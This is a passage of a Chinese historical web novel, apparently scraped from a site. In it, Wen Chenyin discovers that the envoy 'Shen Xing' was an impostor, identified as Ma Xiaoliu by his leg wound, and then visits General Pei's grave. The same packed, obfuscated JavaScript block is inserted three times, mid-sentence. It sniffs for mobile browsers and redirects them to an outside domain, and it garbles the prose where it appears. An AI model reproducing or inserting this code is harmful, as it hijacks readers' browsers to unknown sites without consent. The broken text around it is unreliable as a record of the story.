温沉吟冷眼旁观了一阵,眼见马车渐行渐远,很快朝温珩招了招手:“我看这段时间你与那沈大人来往不少,可知他腿伤发作,是从什么时候开始的?” 温珩认真回想了一下:“也就是近几日的事吧……仔细算来,大概也就是六殿下与我们商议进宫面圣之事那日开始的吧!” “是吗?那还真是巧了。” 温沉吟哼声一笑,压低了声音:“阿珩,你找个人跟着他,我倒要看看医馆里的大夫,究竟能看出个什么名堂!” 38. 冒名顶替 当日进宫之后,魏弘宣便将出使越国之后所经历的一切一一做了禀奏。 听闻越王遇刺,自己的儿子也因此受到牵连,随行的使臣更是大多被困在越国境内,生死未卜,魏栩明只觉又惊又怒,立刻下旨彻查此事。 事已至此,温沉吟心知后续的一切将是燕、越两国之间的博弈,自己已然插不上手。 但正如魏弘宣所料,因此事关系重大,他们一路上又吃了不少苦,除了要在负责查办的官员那里将此中细节一一说明外,还要接受来自后宫嫔妃们的诸般慰问安抚。 如此一番折腾下来,也耽误了不少时候,直至三日之后,温氏姐弟才得以离宫。 温珩此次离京,已是一月有余,对于家中的一切早已十分想念,出了皇宫大门后,便想立即回府。 温沉吟却显然还惦记着其他事,很快便拉住了他:“之前我让你派人跟着沈大人的去医馆看看情况,现在情形如何了?” 温珩道:“我已经问过了,大夫说沈大人的伤口是感染所致,才会溃烂加剧,如今已经替他清创之后做了包扎,想来只要好好休养,定会早日康复。 “那就好……” 温沉吟点了点头,随即迈开了步子:“如今时间还早,你先陪我去个地方。” 温珩见状赶紧跟了上去:“姐姐这是要去哪里?” 温沉吟抬起眼睛,意味深长地看向了鸿胪寺的方向:“此次你我姐弟能平安回来,沈大人可帮了不少忙。如今他伤势未愈,咱们总该去探望探望。” 听闻她要去探望沈星,温珩也不禁有些振奋:“沈大人聪敏机变,身手又好,一直呆在鸿胪寺未免可惜。此次他护卫殿下有功,伤好之后希望能有有个好去处!” 温沉吟却只是不置可否的笑了笑:“是否能有个好去处,那就要看沈大人自己的造化了!” 鸿胪寺地处皇宫东南侧,与礼部与太常寺相邻,平日里还算安静。 但因为越王遇刺一事,魏栩明责令鸿胪寺与越国交涉,势必要保住使臣们的性命,近些日子倒是变得异常忙碌。 到达鸿胪寺后,温珩主动表明了身份,一位当值的主薄对他们进行了接待。 温珩也没多耽搁,很快便表明了来意,然后有些抱歉地表示:“原本这等私事是不该来此地打扰的,只是那日沈大人走得仓促,未曾告知他家住何处,无奈之下,才到鸿胪寺探访,还望大人多多包涵。” 那主薄在听他说明原委的过程中,一直有些惊诧,等他把话说完,更是满脸疑惑:“温公子,你方才说,沈星是出使越国的过程中负伤。可据我所知,前些日子沈星一直告病在家,并未离开过京城啊!” 温珩闻言一惊,赶紧确认道:“大人确定吗?沈大人既然未曾离京,又为何会出现在使团的队伍中?何况我之前看过使臣名册,也的的确确有他的名字!” 那主薄心知事情有异,赶紧详细解释了起来:“陛下诏令六殿下出使越国的消息传出后,鸿胪寺的确举荐了一些人员作为使臣随行。只是沈星才入鸿胪寺任职不久,资历尚浅,因此并未在举荐的名单之中。至于他后续的名字为何会出现在使臣名单里,在下就真的不清楚了……” 此次使团出行,相关使臣的择选除了皇家指派之外,还有各部举荐和个人自荐种种渠道,来源甚是复杂。 如温氏姐弟这样,凭着与魏弘宣私交主动毛遂自荐之人,也不在少数。 如此想来,沈星的名字之所以会出现在使臣名单里,极有可能是用了其他方式。 面面相觑之间,眼见温珩还打算继续追问下去,温沉吟很快打断了他:“大人方才说,沈大人之前一直告病在家,那现今如何了?身体可有好转?” 那主薄也立马反应了过来,赶紧点头道:“前些日子便已经大好了,如今人就在寺中。既然其中有所误会,那我便请他过来。若有什么问题,温小姐可以当面问清楚。” 片刻之后,一名二十多岁的青年男子在主薄的带领下,站到了温氏姐弟眼前。 此人身材微胖,气质儒雅,只是从身形体姿来看,都不像有武学功底之人,而且无论是五官样貌,还是气质举止,都与那个他们认识的沈星绝无半点相似。 大概是来的路上,此人已经从主薄口中知道了事情的大概,因此表现得格外小心谨慎。 与温氏姐弟见完礼后,他便默默站在了那里,像是在等待着二人的审视。 看着眼前这个全然陌生的青年男子,温珩震惊之余,依旧有些不甘心:“大人便是沈星吗?” “正是。 “鸿胪寺中除大人之外,还有人叫这个名字吗?” “没有……” 见他反复确认,候在一旁的主薄忍不住多了句嘴:“温公子,下官在寺中负责文书管理和日常事务,所以在职官员的情况都很清楚。鸿胪寺上下共二百五十二人,除他之外,并无旁人再使用沈星这个名字。” 事已至此,真相已然不言而喻,必是有人冒了沈星的名字与身份,混进了使团的队伍中。 至于眼前的正主,显然对此事一无所知,即便再追问下去,只怕也问不出什么。 意识到其中真相后,温珩只觉失望,忍不住长长一声叹。 温沉吟却依旧不急不徐,继续问道:“一月之前,陛下派遣使团出使越国,大人可曾知晓?” “那是自然。” “那大人可曾有出使的意愿?” “当然。” 听她提起此事,沈星脸露惆怅之色:“虽说我资历尚浅,却也不想错过这次机会,听闻可以自荐,便主动报了名。可惜资料提交后不久,我却忽然得了疫病,一直上吐下泻,久不见好,于是只能告假在家休养,直到使团出发之后,才慢慢有所好转……” 说到这里,他顿了顿,口气变得越发小心翼翼:“今日两位特意找我,是与此事有关吗?” 温沉吟不欲牵扯太多,于是避重就轻地解释道:“此次出行越国,使团中有位与大人同名之人受了点伤,我姐弟二人受人所托,特来探望。既然大人并未随使团出京,想来是我们搞错了。打扰之处,还望大人见谅。” 一番话说完,她缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300662|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓起身,目光看向了一旁的主薄:“六殿下此次能顺利回京,那位沈大人功劳不小,想来未来必定会有飞黄腾达的时候。今日之事,是我姐弟疏漏所致,也请大人多多担待,勿要见怪才好。” 那主薄在鸿胪寺任职多年,自然明白她这番话是在提点自己切勿多事。 反正如今沈星的嫌疑已然澄清,其中再有什么隐情,也不会牵扯上鸿胪寺。 他不过是七品主薄,自然不会主动生事,给自己惹麻烦。 在温沉吟的注视下,他很快笑了起来:“温小姐客气了,既然此事是场误会,那在下也就放心了。” 出了鸿胪寺大门,温珩依旧惊疑不定:“姐姐,沈星一事如此蹊跷,你竟是一点都不着急吗?” 温沉吟轻声一叹:“早有所料之事,此刻又有什么好着急的。” “早有所料?姐姐难道是早就怀疑沈星身份可疑,才会特意来鸿胪寺走一遭?” 温珩愣了愣:“可姐姐之前并不认得沈星,究竟是如何觉察的??” 温沉吟哼声冷笑:“那人自称任职不久,又未曾出使过越国,那当初在大殿之上,他又如何会第一时间就将目标锁定在了萧权身上?” 温珩不料她对沈星的怀疑竟是从那么早之前就已经开始,心中越发惊诧:“姐姐既是从那个时候便知他身份可疑,为何不揭穿他?” “揭穿?那揭穿了以后呢?且不说他身份未明,揭穿之后后果难料。以当时的情形,我若是揭穿了他,咱们还能顺利回来吗?” 想到他们自越王遇刺后一路以来的经历,温珩顿时默然。 如果不是对方拼死相助,此刻他们即便没有客死异乡,也一定深处在四处躲藏的窘境之中。 想到这里,温珩不由得深深叹了口气:“如今我们既然知道此人身份可疑,要不要告诉陛下,将他找出来,仔细查问?” “现在再找,怕是已经晚了……” “姐姐此话何意?” “此人从知道要进宫面圣开始,就开始设法逃脱,想来是清楚此事无法隐瞒太久。他既是有备而来,必然也不会让自己轻易被找到。所以我猜,此刻他要么是早已远离大燕,要么假扮沈星之时,干脆就是易了容,即便他眼下就站在你我面前,咱们也未必认得出了! 如今想来,对方在临进宫前,腿伤忽然溃烂发作,想来也是为了逃脱,而事先设计的苦肉计。 无奈之下,温珩不由得一阵苦笑:“姐姐,还有一事我想不明白,那人既然冒了沈星之名混入使团队伍,必定有所图谋。可从他一路的表现来看,却又似友非敌。你说他究竟是什么人,想要干什么?” 温沉吟摇了摇头,抬头看向了不远处阴沉沉的天空。 山雨欲来风满楼,雷隐长空云滞首。 黑云压城的景象虽然尚未到达,到提前而至的阴影,已经让人感觉到了窒息。 “这些事我不清楚,而且大概是很难有答案了……但等到越王被刺一案有了结果,应该就能知道与贵妃娘娘勾连,意图置六殿下于死地的,究竟是什么人了。” 39. 赐死令 两人回到温府时,已是黄昏时分。 温沉吟平日里治府有方,此去一月有余,府中的下人们却依旧各司其职,不见懈怠,外加有卫宁看管着,府中事务更是被打理得井井有条。 见到主人回归,众人立马开始斟茶倒水,打扫房间,原本稍显冷清的府中顿时热闹了起来。 片刻之后,听到消息的卫宁也匆匆赶来过来,脸上的神情又是喜悦,又是担忧:“小姐与公子不是三日之前便已回城了吗?怎么在宫中呆了那么久,是出什么事了么?” 越王被刺一事毕竟关系重大,事情查明之前,温沉吟也不想透露太多,随口敷衍了几句后,便问道:“我与阿珩不在的这段日子,府中可有什么重要的事吗?” 卫宁闻言赶紧拿出了一封书信:“前些日子温大人托人送来家书,小姐可要现在瞧瞧?” 自温北堂去北境监军之后,每隔月余,便会托人送回一封家书。 只是信中多半都是些报喜不报忧,所说之事无非就是报个平安然后叮嘱他们姐弟要多加保重。 满心疲惫之下,温沉吟也没把这些老生常谈放在心上,接过书信后便随手交给温珩,然后继续问道:“马小六呢?他可还安分?” 听她问起马小六,卫宁脸上浮出了一丝苦笑:“他倒是没给府里添什么麻烦,但自己却出了点意外,吃了不少苦头……” “意外?什么意外?” “小姐与公子离京那日,顾侯爷家的世子忽然登门,说是许久未见云麾将军,想约他出门同游。不料两人去到松溪谷后,马小六所乘的马匹不知为何忽然受惊,狂性大发之下将他摔下了马背,扭伤了筋骨。顾公子觉得此事因自己而起,十分过意不去,又担心小姐与公子都不在,我们会照顾不周,于是就将他就近自家别院里休养,直到小姐与公子回京那日,才把人给送了回来……” 卫宁口中的“顾侯爷家的世子”全名顾青影,是顾正霆膝下唯一的儿子。 鉴于父辈之间关系交好,顾正霆又时常叮嘱着他要以裴瑾为榜样,裴瑾尚未离京之前,两人时常玩在一块,关系也算不错。 马小六冒充裴瑾住进温府之后,他曾来探望过好几次,只是温沉吟不想多事,每次都是三言两语就把他打发了。 如今大概是听闻裴瑾在夏翌一事中的表现,估摸着他大概也好的差不多了,才会特意找上门。 听闻自己离京的那段时间,马小六竟然因伤住进了顾正霆的别院,温沉吟瞬间脸色大变:“这么重要的事你为何不早说?顾侯爷可曾去看过他么?” 卫宁知道她在担心什么,赶紧安慰道:“小姐放心,马小六在顾家别院休养前两日,顾侯爷便因军务之事离京去了晋州,至今未归。所以在此期间,他们并未打过照面!” 得知马小六并未与顾正霆近距离接触过,温沉吟终于松了一口气:“那马小六如今伤势如何了?期间你可曾去探望过?” 卫宁显然没太把马小六的伤势放在心上,回答起来也有些漫不经心:“世子将消息送来后,我倒是派人去探望过,只是听大夫说只是说他需要卧床修养,无需太多打扰。前几日他被送回来时,我看着他精神还不错,就是走起路来还有点困难,想来是伤筋动骨一百天,若要完全回复,还得要过上一阵。” 虽然此番意外风险重重,但最后也算是有惊无险。 得知马小六性命无碍,身份也并未曾暴露后,温沉吟终于放下心来,很快便抛下了这件事,专心等待起了越王被刺一事的调查结果。 然而事情的发展却再次出乎她的意料。 根据各方查证,此次用于呈放贺礼的礼盒都是宫中惯有的制式,并无任何特别之处,而且出宫之前便已全部封装。 献礼仪式的前一天,为保万无一失,魏弘宣还特意带着包括温珩在内一众使臣特意检查过,也并未发现任何异样。 从魏弘宣完成检查,携众人离开,到次日进宫献礼的这段时间里,所有的贺礼便由八名侍卫轮番值守,除魏弘宣本人外,旁人一概无法接触。 因此,礼盒一旦被人动了手脚,嫌疑人就一定在这八名侍卫之中。 事情查到这一步,目标范围原本已经被牢牢锁定。 不料接下去的调查,却就此陷入了僵局。 从身份上看,这八名侍卫都是魏栩明从侍奉自己的御前亲军中特意挑选的精兵良将,过往的表现都十分忠诚,深得君王信任。 从家世上看,他们每一个都出身清白,祖祖辈辈为大燕皇室效忠,与越国并无半点瓜葛。 得知此次有机会陪同皇子殿下出使越国后,他们都表现得异常兴奋,把此次出行当作是为家族增光添彩的大事,不敢有半点懈怠。 因此一番调查下来,竟是无法进一步从他们当中继续找出嫌疑人。 原本是皆大欢喜的一场盛事,中途却横生变故,不仅让燕国皇室颜面扫地,更让燕越两国几十年来的和平陷入危局。 魏栩明原本就十分心烦,如今调查结果久无定论,更是让他失去了耐性。 为了尽快给越国皇室一个交代,他很快下令,负责贺礼安全的八名侍卫若有已回到燕国者,皆亦失职罪处死,若依旧留在越国境内,则任凭越王处置。 越王萧赢中箭之后大难不死,经过一番救治后,总算是保住了一条性命。 虽然对于燕国的交代,他并不满意,也明白事情背后的真相并没有彻底查清,但作为一个需要长期依附他国才能苟且生存的小国君主,他自知没有和对方讨价还价的能力。 外加萧权被劫后所遭遇的一切,让他清楚的意识到,越国宫中也是暗流涌动,有无数双眼睛在虎视眈眈,随时等待着对他们父子二人下手,几番权衡之下,终究还是认下了这个结果,用八名侍卫的性命作为代价,为刺杀一事画上了句号。 事情至此算是尘埃落定,燕、越两国之间即便因此心生嫌隙,但总算是没有公然翻脸,对于大多数人而言,也算是一个不错的结果。 只是对于温沉吟而言,一切并未因此而结束,那只意欲挑起燕越两国争端,将魏弘宣推入死地的手依旧藏在暗处,安静的等待再次出手的时机。 赐死令颁布后的第三天,顾青影忽然敲开了温府的大门。 此人虽然是顾正霆与昭熹长公主唯一的儿子,历来养尊处优,但性格却是大大咧咧,从不摆什么架子。 幼年时,他因与温珩年龄相仿,时常一起玩耍,在温沉吟面前也算是混了个脸熟。 只是随着年龄渐长,顾正霆对他的要求也日渐严格,平日里不是命他随军历练,便是安排他跟着师傅读书,忙碌之下,能够见面的机会也少了起来。 如今见他突然登门,温沉吟本就有些意外,再回想起他与马小六出游时闹出的那些风波,心里更是不由得多了几分戒备。 将他迎进正厅后,她便赶紧试探道:“很久没见世子了,今日特意前来,是有什么要紧事吗?” 顾青影显然藏着心事,说起话含含糊糊的:“我今日出门办事,刚巧从附近路过,想着很久没见温姐姐了,就过来探望一下……顺便有些事,也想问问温姐姐。” 听他那口气,显然探望是假,有事要问才是真。 温沉吟见状,赶紧打起精神:“世子有何事要问,尽管开口就是。” 顾青影犹豫了好一阵,这才压低了声音:“温姐姐此次随六殿下出使越国,可曾识得一个名叫王充的侍卫?” “王充?” 温沉吟愣了愣,隐隐只觉得这个名字有点耳熟。 片刻之后,她脑中灵光一闪,骤然反应过来:“世子所说的王充,可是负责贺礼安全之人?” “是……” “他不是已经因为越王遇刺一案,被陛下赐死了吗?” “是啊……昨日午间,他已经依令被斩首了。按照父皇的旨意,尸身被扔到了乱葬岗,不允许任何人收殓。” “世子既然知道,那还要问他的情况做什么?” “因为我想看看,能不能找出证据还他的清白,让他的尸身可以入土为安。” 顾青影垂着眼睛,口气里带上了几分难过:“虽然陛下认定,越王遇刺必定是和看护贺礼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307486|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍卫有关,但我却知道,王充他必定是冤枉的。来温府之前,我其实是去看望了他的父母,两位老人知道此事后都已经相继病倒了……他们年事已高,就只有王充这么一个儿子,原本还盼着他能出人头地,光耀门楣,可如今王充不仅无辜受累,死后甚至连个坟冢也没有,这以后的日子让他们该怎么活啊!” 温沉吟深知在自家母亲的庇护下,顾青影自幼没经历过尔虞我诈之事,性情仁厚之余,也免不了有些天真。 此刻见他神情激动,眼眶泛红,一时间也不知该如何劝起,最终只能柔声提醒道:“此事陛下已有定论,再无回寰的余地。世子再是心有不忍,也须谨言慎行,以免触怒天颜,给自己和家人惹来麻烦。” 顾青影难过之下,一时间失了分寸,此刻经她提醒,瞬间正襟危坐:“温姐姐提醒的是,是我失言了。” 见他稳住了情绪,温沉吟这才放下心来:“世子如此记挂着王充,是与他有什么特别的交情吗?” “是……” 说起旧事,顾青影的免不了还是有些伤心:“王充原本是我父亲的亲随,自幼便与我相识。因为他颇有才干,又一直对父亲忠心耿耿,父亲才会将他举荐至御前,想为他谋一个更好的出路。此次能出使越国,原本是个很好的表现机会,可是没想到,却出这么大的乱子。原本知道了他九死一生地从越国逃回来,我还在为他高兴,没想到最终却是这样一个结果……” 能在没有任何帮助的情况下,避开重重封锁,最终从越国逃回,这个名叫王充的侍卫,的确是能力出众。 但即便如此,却依旧还是难逃一死。 此刻听顾青影语带哽咽,显然极是伤心,温沉吟心下呛然,不禁微微叹了口气:“既然是侯爷举荐了王充,又对他的过去知根知底,就没试着替他求求情吗?” 顾青影闻言,神情更见低落:“这些话我曾对父亲说过,可却被他狠狠训斥了。他说,若我总是这样遇事不知轻重,心存妇人之仁,以后必定难当大任。所以我也知道,在他心里,我是永远比不上云麾将军的……” 在他低低的自嘲声里,温沉吟也陷入了沉默。 想来他之所以如此沮丧,除了因王充之死而心怀悲切之外,更是因为来自自己父对于自己的轻视与不认可。 不过这样难怪,相较于自幼便风姿出众,光彩夺目的裴瑾,顾青影看上去的确是有些平庸。即便他贵为长公主之子,但无论是样貌、才智、武学、见识,在一干世家子弟中都不算出众。 或许也正因如此,当年荟英堂在选拔学生时,无论是尉迟上恭还是裴行州,都十分默契地没有把他放入备选名单里。 甚至是身为父亲的顾正霆,一直以来投注在裴瑾身上的热情与关注,也要比他这个亲生儿子要多得多。 温沉吟与温北堂关系不睦至今,对于顾青影的痛苦难免感同身受。 此刻面对对方的伤痛,她也不知如何安慰,于是只能不动声色地岔开了话题:“对了,我听卫宁说,前些日子瑾哥因伤一直住在顾府别院,想来多有打扰。我理当登门替瑾哥好好谢谢世子才是,只是回京之后锁事缠身,才把事情给耽误了,还望世子见谅。” “这有什么好谢的,明明是我闯的祸……” 听她提起裴瑾,顾青影的脸上浮上了一丝愧疚:“我知道云麾将军重伤初愈,所以给他选的那匹马性子也很是温驯,却不知为何会忽然发狂,将他摔了下来,这实在是让我愧疚得很。索性大夫说他恢复不错,不然我还真不知道该怎么向温姐姐交代了……” 说到这里,他清了清嗓子:“温姐姐,父亲昨日回京,听说了云麾将军坠马之事,心中很是挂念,但因为公务繁忙,一直未能有空前来探望。今日既然来了,我能否去云麾将军房中探望一下,也算是替父亲尽点心意。” 自回府之后,因此锁事繁多,温沉吟也就在侍女送汤药的时候,在院门处看过马小六几眼,并未详细过问过他的伤情。 此刻听顾青影意欲探望,她也觉得此前的自己有点过于冷漠,于是很快点了点头,陪同他一起去了西院。 40. 破绽 敲开房门时,马小六正捧着一本书靠在床头。 只是从他那一脸神游的表情来看,也不知道那本书他究竟看进去了多少。 自从柳行云一事发生后,他像是长了教训,原本鸡飞狗跳的性格逐渐变得安静,外加随顾青影出游而再次受伤,整个人越发显得蔫乎乎的。 发现有人前来探望,他赶紧将书放下,想要起身。 顾青影怕他受累,先一步在床头坐下,嘘寒问暖地进行了一番问候。 趁着两人闲聊之际,温沉吟将他放下的书拿了起来,随手看了看。 顾青影留意到了她的举动,目光也追了过来:“云麾将军喜欢读屈原?” 马小六像是有些心虚,口气支支吾吾地:“也不是……就是如今行动不便,闲着也是闲着,刚好手边有本书,就随手拿来瞧瞧。” 顾青影却没能察觉他的尴尬,依旧兴致勃勃:“我听父亲说,裴叔叔当年给裴小将军取名,便是源自屈原先生的《楚辞·九章·怀沙》。倒是不知道父亲替我取名“青影”,究竟有何讲究。” 关于裴瑾名字的来历,温沉吟倒是第一次听说,好奇之下,不动声色地翻起了手中的书本。 当她的目光落到“怀瑾握瑜兮,穷不知所示”时,心下不禁一阵酸楚。 想来在裴行州的心中,一直盼望着自己的儿子无论身处何地,都品性高洁,心怀志向。 这么多年以来,无论是在热烈繁华的京城帝都,还是在烽烟四起的北境战场,裴瑾也从未辜负过自己父亲的期望。 只是如今,美玉蒙尘,没了踪迹,陪在她身边的,却成了这样一个空有其表的冒牌货。 怔仲之间,马小六不知是真的累了,还是担心继续与顾青影聊下去会露出破绽,很快露出了一副深思倦怠,体力难支的模样。 顾青影见状,赶紧知情识趣地站了起来:“看到云麾将军恢复得不错,我也就放心了。等过些日子父亲得空了,我再与他一同过来看你。” 听他说要走,马小六像是松了一口气,赶紧起身,满是客气想要送他。 下床的那一刻,他的身体微微一晃,轻轻抽了口凉气,似是因为腿部忽然落地有些疼痛难当。 虽然那个表情消失得飞快,但还是被温沉吟捕捉到了。 然而下一秒,他很快稳住了身体,快步向前,像是无事发生一般。 看着他挺直的背影,温沉吟心中忽然模模糊糊的涌上了一个念头。 可那个念头是如此荒唐,竟让她一时间有些难以置信。 为了验证自己的猜想,她赶紧开口劝道:“瑾哥,你身子还没完全回复,还是先休息吧。世子就由我去送好了。” 一路将顾青影送出府门后,温沉吟停下了脚步:“对了,还有一事想问问世子。当初瑾哥坠马,究竟是伤了哪里,世子可还记得吗?” “当然!” 顾青影似是对当初那满是惊险的场面记忆犹新,回答起来很是清楚:“将云麾将军送进别院之后,我便请大夫细细检查过了,大夫说他主要是的右肩与后背伤得有些严重。” “那他腿部受伤了吗?” “应该没有吧……那日我与云麾将军同游松溪谷,为了不被人打扰,便让下人们在谷外候着,所以他坠马之后我也是扶着他走了好一阵,才出谷叫了马车。那一路上我看他步履正常,腿上应该是没什么伤。” “世子确定?” “怎么了?云麾将军的腿是出了什么问题吗?” 听她一再确认,顾青影也着急了起来:“这事说起来也怪我,原本云麾将军坠马受伤,我理应亲自照顾才是。只是那日将他送进别院后不久,便有人来报,说是我母亲突然病到。回府后我才知道,母亲不知怎么了,忽然上吐下泻不止,人也发起了高烧。父亲当时已经去了晋州,我只能陪在母亲身边侍疾,却不料母亲病势反复,总是不见好……顾府与别院相距甚远,我实在分身乏术,便只能遣了下人前去探望。想来是那些下人们不尽心,也就知道送送汤药,以至于云麾将军的伤势有了变化,竟也没及时告诉我……” 温沉吟越听越不对劲:“所以世子的意思是,瑾哥在你家别院休养期间,你从未亲眼见过他?即便是你派过去下人,也只是负责送汤药而已?” 顾青影的表情越发愧疚:“是……” “那当负责照顾瑾哥的那个大夫呢?他是从哪里找来的?” “别院附近有一家医馆,大夫医术不错,与我也算熟悉。当时情况紧急,我便将他请了过来了。” “我能见见他吗?” “这还真是不巧,前几日他说是要回老家探亲,已经暂时将医馆关闭了……” 顾青影只当她是因裴瑾伤势有变而责怪自己,神色不由得越发紧张:“温姐姐,所以究竟是出了什么事?若是那大夫的方子有什么错漏的地方,我便派人将他找来便是!” “不必了……” 一连串的巧合之下,温沉吟已知再去寻那大夫已然不是件轻而易举的事。 更何况要验证她的猜想,还有更直截了当的方法。 此刻面对一脸紧张的顾青影,她也只是安抚性地笑了笑:“世子不用担心,瑾哥身体无恙,我只是随口问问,等过些日子他大好了,我便与他一起登门致谢。” 送别了顾青影,温沉吟去打了一盆清水,又拿了些药膏、布料之类的东西重新回到了马小六的房间。 马小六似是没想到她会去而复返,看着她手里的东西,神色变得有些紧张。 温沉吟也不多话,只是朝着床上指了指,示意他重新躺下。 紧接着,她抬起手,慢慢摸向了他右边小腿的位置。 马小六没想到她会忽然上手,赶紧将腿一缩,口气也变得磕磕巴巴的:“你……这是要干什么?” 温沉吟神色不变,却用力抓住了他的脚踝:“回来这么久了,我也没好好来看过你,今儿既然来了,就顺便帮你换换药。” 马小六像是被她的举动惊呆了,脸色也涨的有点红:“俗话说,男女授受不亲,温小姐清誉要紧,怎能为我做这种事?而且我也好得差不多了,你若实在不放心,这些事交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313162|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给下人们也就是了…… 温沉吟“恩”了一声,已然拿起了剪刀:“正是因为你已经好得差不多了,若是再不亲自帮你换换药,以后只怕就没有机会了,不是么?” 见她态度坚决,马小六知道自己是拦不住了,只能放弃般的叹了叹,将身体靠了回去。 随着裤腿被卷起,包扎着的布料被一点点剪开,右边小腿处,一道又长又深的伤口,赫然出现在两人眼前。 从那个自称沈星的使臣被贺兰所伤,为了放血驱毒,自行将伤处割开到现在,已经过去了大半个月。 那条伤口也已经开始结痂,有了愈合的迹象。 但即便如此,那斑驳的痂口还是能窥见当初小腿的肌肤被划开时,那惊心动魄的模样。 真相在这一刻已经明明白白的就在眼前,马小六却没有预想中的慌乱。 静默之中,温沉吟将剪刀一抛,站了起来:“你这伤究竟怎么来的,就不打算解释解释么?” 马小六低声苦笑着:“你既然都知道了,又何必来问我?” 听他这口气,似是已经自暴自弃,不打算再做无谓的申辩。 但对于温沉吟而言,这个答案显然还不够。 对方乔装易容,假冒沈星混进使团,陪同他们千里奔波,去往越国,必定有所图谋。 可是危难之时,又是他挺身而出,以命向护,才保得魏弘宣和自己姐弟二人安然回国。 所以他究竟是什么人?所作的一切究竟都是为了什么? 见她目光怔怔,显然是千万思绪涌上心头,马小六轻声叹了叹,慢慢坐直了身体:“我知道你想问什么,但我也知道,无论我说什么,你必然也不会信。反正密室的位置我也知道,自己过去便是,也就不用麻烦你了……” 没等他把话说完,温沉吟已经重新坐回了床头,拿起药膏,一点点地敷在了他的伤处。 马小六原本已经做好了行迹败露之后,被她严审刑讯的准备,不料对方恍若无事发生一般,只是专心致志地处理着他的伤口,却让他不由得慌乱了起来。 片刻之后,感觉对方纤细柔软的手指一直在他的伤口处轻轻抚摸着,那种温柔又细致地模样,像是在对待病中的恋人一般,马小六心慌意乱之下,迅速扣住了她的手腕,连声音也变得干哑了起来:“温小姐,既然决定要刑讯,你又何必多此一举?你总不能指望你对我好一点,我就编些你想听的话来哄你不是?” 温沉吟这才将手一收,看向了他:“咱们认识也不是一两日了,所以我知道,除非是你心甘情愿,不然我如何逼供也是无用。但无论如何,你曾经救过我和阿珩的性命。我温沉吟并非恩怨不分之人,光凭这一点,我便不会与你为难的。” 听她如此承诺,马小六似是松了一口气。 但一想到她惯有的行为处事,又觉得有些难以置信:“所以说……你没有什么话想要问我了,是吗?” “有,但不是现在。” 温沉吟冲他嫣然一笑,然后站起身来:“你先在此处休息,晚些时候,你随我出一趟门。” 41. 祭拜 当日午饭过后,温沉吟备上了马车,带上了马小六一起离开了温府。 摇摇晃晃地颠簸了一个多时辰后,马车来到了天启的城郊。 等到马车彻底停稳,马小六掀开了车帘,发现眼前是一条僻静的山路。山路蜿蜒向前,前方被密密树林掩盖,不知通往何处。 温沉吟拿出一个事先准备好的竹篮,便跳下马车,一路向前而去。 马小六见状也没多问,紧紧跟在了她身后。 前后走了大概一炷香的时间,树荫渐重,两人已然走到了山林深处。 马小六心中还在琢磨着她这一路走来,究竟要去什么地方,温沉吟忽然停住了脚步,朝着前方指了指:“到了。” 顺着她手指的方向,马小六抬眼看去,前方隆着一块小小土包,看模样竟像是一个长久无人祭拜的坟冢。 因为坟冢前的碑石上没有刻字,马小六并不知此处所埋的究竟是什么人。 然而温沉吟却神色凝重,很快开始打扫坟冢前的荒草尘土,马小六看了一阵,便也跟着忙碌了起来。 等到坟冢被打扫干净,温沉吟从竹篮里拿出了黄酒香烛之类的东西一一摆放好,这才屈膝跪下,目色肃然地冲着墓碑的方向重重磕了几个响头。 能让她行这样的大礼,所葬之人必定是她极其敬重之人。 可这样一个人,又为何会被如此潦草的葬在城郊的一处人迹罕至的山林之中? 眼见温沉吟行完大礼,马小六终于抑制不住满心的好奇,大着胆子凑上前去:“你特意跑这么远,就是为了祭拜此人吗?” “是!” “他是你什么人?为何会埋在此处?” 温沉吟目光低垂,声音有些嘶哑:“他是我的一位叔叔,原本我是有机会和他成为一家人,叫他一声爹的。可惜终究我还是没那个福气,在他活着的时候,做他的儿媳妇……” 马小六脸色骤变,一时间连声音也颤抖了起来:“你的意思是……此处葬着的人,是裴将军?” 温沉吟点了点头,一直含在眼眶中的泪水终于簌然坠落。 涧云峡之战过后没多久,裴行州的尸身便被秘密送回帝都。 然而魏栩明以不便动摇军心为由,没有安排任何仪制,便匆匆命人下葬了。 因为裴家已无亲人在府,下葬时的各种安排也格外潦草。 等到温沉吟得到消息,想要去送他最后一程时,一切已然在悄无声息中尘埃落定。 最终,还是在顾正霆的帮助下,她才找到了这处深埋在荒郊野林中的坟冢。 